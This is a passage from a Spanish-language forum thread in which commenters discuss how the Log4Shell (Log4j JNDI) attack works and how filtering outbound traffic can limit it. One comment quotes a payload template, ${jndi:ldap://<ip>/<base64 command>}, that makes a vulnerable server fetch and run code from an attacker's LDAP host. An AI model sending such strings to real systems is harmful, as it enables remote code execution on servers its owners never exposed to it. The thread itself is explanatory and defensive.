#42 vale, acabo de leer hasta el final y creo que he encontrado lo que puede haberte llevado a confusión. Muestran logs donde se ve algo parecido a ${jndi:ldap://<ip>/<comando_en_base64>}.
Lo que ocurre en este caso no es que el servidor ejecute directamente el comando en base 64 que está ahí, sino que alguien ha creado un servidor ldap en <ip> que cuando le preguntas por <comando_en_base64> El servidor ldap responde con un exploit generado dinámicamente para ejecutar ese comando. Pero la máquina atacada sigue teniendo que conectar a ldap://<ip>/<comando_en_base64> y descargar el exploit.
By submitting a specially crafted request to a vulnerable system, depending on how the system is configured, an attacker is able to instruct that system to download and subsequently execute a malicious payload.
#37 creo que puedo decir sin miedo a equivocarme que conozco esta vulnerabilidad extremadamente bien, y no funciona como dices. Si tienes el enlace, puedo echar un vistazo, ver exactamente qué comentan, pero estoy convencido que hablan de la vulnerabilidad de ejecución remota que todos conocemos
#11 Esto... si tengo un ecommerce tengo q tener la entrada HTTP/HTTPS abierta a cualquiera que quiera comprarme (aunque siempre se puede limitar por país de origen o por reputación de IP para controlar un poco).
Pero mi servidor web no tiene porqué tener salida a Internet por si mismo, más que a aquello que necesite. #3 Veo que #6 lo ha explicado mejor que yo
#24 Obviamente no hay solución mágica (o dejaríamos de cobrar a final de mes ) pero como 'la moda' es usar sistemas modulares donde una vez tomas control del servidor te descargas los módulos que necesites... con un buen control de tráfico saliente limitarías muchos ataques.